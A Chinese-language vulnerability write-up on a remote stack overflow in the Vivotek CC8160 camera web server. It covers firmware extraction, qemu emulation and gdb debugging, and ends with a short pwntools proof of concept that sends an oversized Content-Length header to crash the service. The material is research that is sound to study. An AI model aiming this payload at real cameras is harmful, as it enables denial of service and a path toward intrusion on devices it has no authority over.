Vivotek远程栈溢出漏洞分析

固件下载

下载地址:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip

获取到的是一个pkg文件,可以正常用binwalk获取固件,但是会得到许多文件,_31.extracted这个是我们需要的

然后就是正常查找busybox查看架构,找到httpd文件,然后qemu用户态执行,会提示缺了boa.conf,然后我们直接看conf.d,发现缺乏etc文件夹,复制一个过去就正常了,但是我用户态gdb连接后会直接跳出,就改为系统态运行了,下面就介绍系统态连接了,别的就没什么好说的

系统态连接

首先是设置tap0接口

1
2
sudo tunctl -t tap0 -u $(whoami)
sudo ifconfig tap0 10.10.10.1/24

然后开机qemu虚拟机

1
2
3
4
5
6
7
8
9
qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=./debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic

然后就是登录设置ip,互ping看看行不行

1
2
ifconfig eth0 10.10.10.2/24
ping -c 3 10.10.10.1

然后打包文件传送,挂在文件夹,开启chroot,开启服务,就不详写了

1
2
3
4
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh
./usr/sbin/httpd

成功访问

漏洞分析

我们知道漏洞位置位于content-length,所以直接字符查找漏洞位置

非常明显的栈溢出位置,v33是content-length后面的内容,就是说将一直到\n的数据写入dest

那要怎么进入呢,首先是要通过POST或者是PUT验证,然后是v4 >= v5,但是通过gdb调试可以发现,后者是默认大于的,前者haystack指向的是我们输入的首个数据,所以只要将POST写在开头就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pwndbg> c
Continuing.

Breakpoint 1, 0x76ed6d20 in strncmp () from target:/lib/libc.so.0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────
R0 0xd255d2 ◂— 0x54534f50 ('POST')
*R1 0x25d54 ◂— ldrbpl r4, [r3], #-0xf50 /* 'POST' */
*R2 0x4
*R3 0xd23058 ◂— 0x0
R4 0xd22058 ◂— 0x0
*R5 0x7e5
R6 0xd255d2 ◂— 0x54534f50 ('POST')
R7 0xd29058 ◂— 0x0
R8 0xd255d1 ◂— 0x534f5000
R9 0xd255d2 ◂— 0x54534f50 ('POST')
R10 0x323a0 (stderr) —▸ 0x76ef7118 ◂— 0x2d0
R11 0x0
R12 0x31788 (strncmp@got.plt) —▸ 0x76ed6d1c (strncmp) ◂— push {r4, lr}
SP 0x7eb0cb18 —▸ 0xd22058 ◂— 0x0
PC 0x76ed6d20 (strncmp+4) ◂— cmp r2, #0
───────────────────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]───────────────────────────────────────────────────────────────────────
0x76ed6d1c <strncmp> push {r4, lr}
0x76ed6d20 <strncmp+4> cmp r2, #0
0x76ed6d24 <strncmp+8> sub lr, r2, #1
0x76ed6d28 <strncmp+12> beq #strncmp+60 <strncmp+60>

0x76ed6d2c <strncmp+16> ldrb ip, [r0]
0x76ed6d30 <strncmp+20> ldrb r3, [r1]
0x76ed6d34 <strncmp+24> add r4, r1, #1
0x76ed6d38 <strncmp+28> subs r3, ip, r3
0x76ed6d3c <strncmp+32> bne #strncmp+64 <strncmp+64>

0x76ed6d40 <strncmp+36> cmp ip, #0
0x76ed6d44 <strncmp+40> add r0, r0, #1
───────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7eb0cb18 —▸ 0xd22058 ◂— 0x0
01:0004│ 0x7eb0cb1c —▸ 0x18110 ◂— cmp r0, #0
02:0008│ 0x7eb0cb20 ◂— 0x0
03:000c│ 0x7eb0cb24 —▸ 0x76ea5468 ◂— andeq r0, r0, r0
04:0010│ 0x7eb0cb28 ◂— 0x1
05:0014│ 0x7eb0cb2c —▸ 0xd255d2 ◂— 0x54534f50 ('POST')
06:0018│ 0x7eb0cb30 —▸ 0xd23058 ◂— 0x0
07:001c│ 0x7eb0cb34 —▸ 0x76f74f70 —▸ 0xded0 ◂— cmp r0, #0
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 0x76ed6d20 strncmp+4
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10s 0xd255d2
0xd255d2: "POSTContent-Length:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabu"...
0xd2569a: "aabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaadu"...
0xd25762: "aadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafu"...
0xd2582a: "aafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahu"...
0xd258f2: "aahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaaju"...
0xd259ba: "aajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaalu"...
0xd25a82: "aalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanu"...
0xd25b4a: "aanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapu"...
0xd25c12: "aapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaru"...
0xd25cda: "aarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatu"...
pwndbg>

然后追踪回去看看什么函数引用他
再往前看有个select事件,检测到socket可读(就是缓冲区有数据),调用 sub_19D7C(fd),从而调用sub_17F80函数,但是说实话,我没看懂前面的函数逻辑,但是gdb一进来函数就是卡在select阶段,然后随便输入一个数据就可以进入漏洞函数处,amazing~

poc

1
2
3
4
5
6
from pwn import *
payload=cyclic(2000)
http = b"POSTContent-Length:" + payload + b"\n\n"
s = remote("10.10.10.2", 80)
s.send(http)
s.close()